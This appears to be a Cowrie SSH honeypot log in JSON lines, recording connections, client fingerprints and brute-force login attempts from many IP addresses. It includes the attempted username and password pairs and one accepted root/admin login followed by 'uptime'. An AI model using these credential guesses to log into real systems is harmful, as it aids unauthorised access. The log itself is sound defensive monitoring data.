{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:06:24.192001Z","src_ip":"200.90.8.86","session":"8e8fbc52060c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123a@","message":"login attempt [root/123123a@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:06:24.594184Z","src_ip":"200.90.8.86","session":"8e8fbc52060c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:06:25.695170Z","src_ip":"200.90.8.86","session":"8e8fbc52060c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":49724,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdcc322a49ca","protocol":"ssh","message":"New connection: 103.148.100.146:49724 (159.203.135.109:22) [session: bdcc322a49ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:06:42.966898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:06:42.971831Z","src_ip":"103.148.100.146","session":"bdcc322a49ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:06:43.235846Z","src_ip":"103.148.100.146","session":"bdcc322a49ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#QWE123","message":"login attempt [root/!@#QWE123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:06:44.318651Z","src_ip":"103.148.100.146","session":"bdcc322a49ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:06:45.588252Z","src_ip":"103.148.100.146","session":"bdcc322a49ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.46","src_port":46412,"dst_ip":"159.203.135.109","dst_port":22,"session":"881bfa75b9cb","protocol":"ssh","message":"New connection: 85.11.167.46:46412 (159.203.135.109:22) [session: 881bfa75b9cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:08.359249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:08.364378Z","src_ip":"85.11.167.46","session":"881bfa75b9cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:08.458119Z","src_ip":"85.11.167.46","session":"881bfa75b9cb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:08.733287Z","src_ip":"85.11.167.46","session":"881bfa75b9cb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:08.953871Z","src_ip":"85.11.167.46","session":"881bfa75b9cb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uptime","message":"CMD: uptime","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:08.957563Z","src_ip":"85.11.167.46","session":"881bfa75b9cb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/dd291cd6294bafef2a7e9c378eb320e87198d6dae214272addb569775750c802","size":70,"shasum":"dd291cd6294bafef2a7e9c378eb320e87198d6dae214272addb569775750c802","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/dd291cd6294bafef2a7e9c378eb320e87198d6dae214272addb569775750c802 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:09.055478Z","src_ip":"85.11.167.46","session":"881bfa75b9cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:09.064784Z","src_ip":"85.11.167.46","session":"881bfa75b9cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":59118,"dst_ip":"159.203.135.109","dst_port":22,"session":"aea8d79e7bde","protocol":"ssh","message":"New connection: 210.90.155.178:59118 (159.203.135.109:22) [session: aea8d79e7bde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:16.113791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:16.118808Z","src_ip":"210.90.155.178","session":"aea8d79e7bde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:16.319997Z","src_ip":"210.90.155.178","session":"aea8d79e7bde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"peertube","password":"peertube","message":"login attempt [peertube/peertube] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:17.154014Z","src_ip":"210.90.155.178","session":"aea8d79e7bde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:18.357476Z","src_ip":"210.90.155.178","session":"aea8d79e7bde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.114.124.44","src_port":52826,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a80b75213b1","protocol":"ssh","message":"New connection: 45.114.124.44:52826 (10.17.0.5:22) [session: 7a80b75213b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:22.775023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:22.779586Z","src_ip":"45.114.124.44","session":"7a80b75213b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:23.002224Z","src_ip":"45.114.124.44","session":"7a80b75213b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"Pa$$w0rd","message":"login attempt [ftpuser/Pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:23.913408Z","src_ip":"45.114.124.44","session":"7a80b75213b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:25.139129Z","src_ip":"45.114.124.44","session":"7a80b75213b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":34400,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1197084ae04","protocol":"ssh","message":"New connection: 147.45.197.250:34400 (10.17.0.5:22) [session: d1197084ae04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:31.742791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:31.747547Z","src_ip":"147.45.197.250","session":"d1197084ae04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:31.841268Z","src_ip":"147.45.197.250","session":"d1197084ae04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sorokin","message":"login attempt [root/sorokin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:32.121320Z","src_ip":"147.45.197.250","session":"d1197084ae04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:33.217428Z","src_ip":"147.45.197.250","session":"d1197084ae04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":39522,"dst_ip":"10.17.0.5","dst_port":22,"session":"bde8fbad7021","protocol":"ssh","message":"New connection: 5.182.83.231:39522 (10.17.0.5:22) [session: bde8fbad7021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:38.361860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:38.366702Z","src_ip":"5.182.83.231","session":"bde8fbad7021","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:38.488492Z","src_ip":"5.182.83.231","session":"bde8fbad7021","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"caja01","password":"123456","message":"login attempt [caja01/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:38.988507Z","src_ip":"5.182.83.231","session":"bde8fbad7021","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:40.108692Z","src_ip":"5.182.83.231","session":"bde8fbad7021","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":36257,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc3ddbe61e2a","protocol":"ssh","message":"New connection: 220.247.224.226:36257 (10.17.0.5:22) [session: dc3ddbe61e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:51.183219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:51.189050Z","src_ip":"220.247.224.226","session":"dc3ddbe61e2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:51.423046Z","src_ip":"220.247.224.226","session":"dc3ddbe61e2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:52.361175Z","src_ip":"220.247.224.226","session":"dc3ddbe61e2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:07:53.595178Z","src_ip":"220.247.224.226","session":"dc3ddbe61e2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.90.8.86","src_port":50208,"dst_ip":"10.17.0.5","dst_port":22,"session":"c24a43620d18","protocol":"ssh","message":"New connection: 200.90.8.86:50208 (10.17.0.5:22) [session: c24a43620d18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:10.724905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:10.729592Z","src_ip":"200.90.8.86","session":"c24a43620d18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hell